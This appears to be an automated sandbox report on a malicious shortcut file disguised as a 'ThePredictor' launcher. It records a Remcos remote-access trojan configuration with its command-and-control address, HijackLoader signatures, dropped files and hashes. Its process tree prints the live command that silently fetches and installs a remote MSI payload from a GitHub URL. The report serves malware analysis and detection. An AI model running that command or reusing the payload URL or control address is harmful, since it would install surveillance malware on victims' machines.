Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-02-2025 14:43

General

  • Target

    ThePredictor7.3.8Launcher.tmp.lnk

  • Size

    1KB

  • MD5

    63b4ae48bfc52db08f3ad1008acff185

  • SHA1

    a2affc5d7b5211f97142c0def7ad9c430119e0b2

  • SHA256

    420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f

  • SHA512

    0c9fafdc316375aa4fd046a3ce485346c179d85092971707b1c61e57022a15e350a06f7f27faa3c9c110540f4161ed20b274f35b5cd4579df8d98f8387e85b4b

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ThePredictor7.3.8Launcher.tmp.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c #Verification660703 & msiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\system32\msiexec.exe
        msiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn
        3⤵
        • Use of msiexec (install) with remote resource
        • Suspicious use of AdjustPrivilegeToken
        PID:4972
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Adds Run key to start application
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
      "C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\SysWOW64\cmd.exe
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
          C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Config.Msi\e57e716.rbs

    Filesize

    10KB

    MD5

    b5823d8709a3126eca63c0f81941ab70

    SHA1

    17e842ffa791a5d0a5a260b56b574593077e7133

    SHA256

    3c1d128c79deef9d894630994f10c71b63dbc3f09feb947c502998b6326023b4

    SHA512

    f83c193412fe352553760277e6d9df1cf44bbe3dcccc4bcf8821a6692fb36f01a047d5df7ce1b8ca9b3c3955a4ad25ca77e0ab643cdb87c8b5ab328785386aac

  • C:\Users\Admin\AppData\Local\Temp\97049e43

    Filesize

    1.0MB

    MD5

    76214ea196b023334c5c2c9129c5c087

    SHA1

    350cf1c35343982da8ea4092eb7360dc2add97ce

    SHA256

    ee6a0f4cff8951e28c540c2c64169aa97234f135df76dab1873725282cbb2003

    SHA512

    41b51cbed0739c8949ba56bcca04cea259386941ffad88eefa1c87f1074f701a5914737f3918a4f413951104aa2730f7fd9fe391322ab9836dfc403ed7d1efda

  • C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe

    Filesize

    20KB

    MD5

    9329ba45c8b97485926a171e34c2abb8

    SHA1

    20118bc0432b4e8b3660a4b038b20ca28f721e5c

    SHA256

    effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

    SHA512

    0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

  • C:\Users\Admin\AppData\Roaming\IXXinstall\MFC80U.DLL

    Filesize

    1.0MB

    MD5

    686b224b4987c22b153fbb545fee9657

    SHA1

    684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

    SHA256

    a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

    SHA512

    44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

  • C:\Users\Admin\AppData\Roaming\IXXinstall\audiogram.tif

    Filesize

    877KB

    MD5

    5124236fd955464317fbb1f344a1d2f2

    SHA1

    fe3a91e252f1dc3c3b4980ade7157369ea6f5097

    SHA256

    ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

    SHA512

    2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

  • C:\Users\Admin\AppData\Roaming\IXXinstall\http_dll.dll

    Filesize

    1.9MB

    MD5

    fe47e255c704b20cb20c8ed93ec94d47

    SHA1

    ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

    SHA256

    b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

    SHA512

    55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

  • C:\Windows\Installer\MSIE436.tmp

    Filesize

    2.9MB

    MD5

    ae5b94abf028388af1454ed76806cc6f

    SHA1

    ef013c7eec6fc6c14ccd414b5eb87abf1476566a

    SHA256

    f286d2b89eaebb2e1e6e23a44bc92dae7c058348286810549f4c7514c9ea61ad

    SHA512

    b88c3c160b68b0bdc03780a6848001aef7baa5532b815071eb4f26ff1caa87f71b2401b0c507db5389d14517310bae758aaa17f6fe7aa508f2de38cdbcac1fe2

  • memory/2420-38-0x0000000075350000-0x00000000754CB000-memory.dmp

    Filesize

    1.5MB

  • memory/2420-39-0x0000000075350000-0x00000000754CB000-memory.dmp

    Filesize

    1.5MB

  • memory/3532-48-0x00007FF9DB0B0000-0x00007FF9DB2A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3532-55-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-46-0x0000000073850000-0x0000000074AA4000-memory.dmp

    Filesize

    18.3MB

  • memory/3532-63-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-49-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-52-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-53-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-62-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-56-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-57-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-58-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-59-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-60-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3532-61-0x0000000000410000-0x0000000000494000-memory.dmp

    Filesize

    528KB

  • memory/3756-44-0x0000000075350000-0x00000000754CB000-memory.dmp

    Filesize

    1.5MB

  • memory/3756-42-0x00007FF9DB0B0000-0x00007FF9DB2A5000-memory.dmp

    Filesize

    2.0MB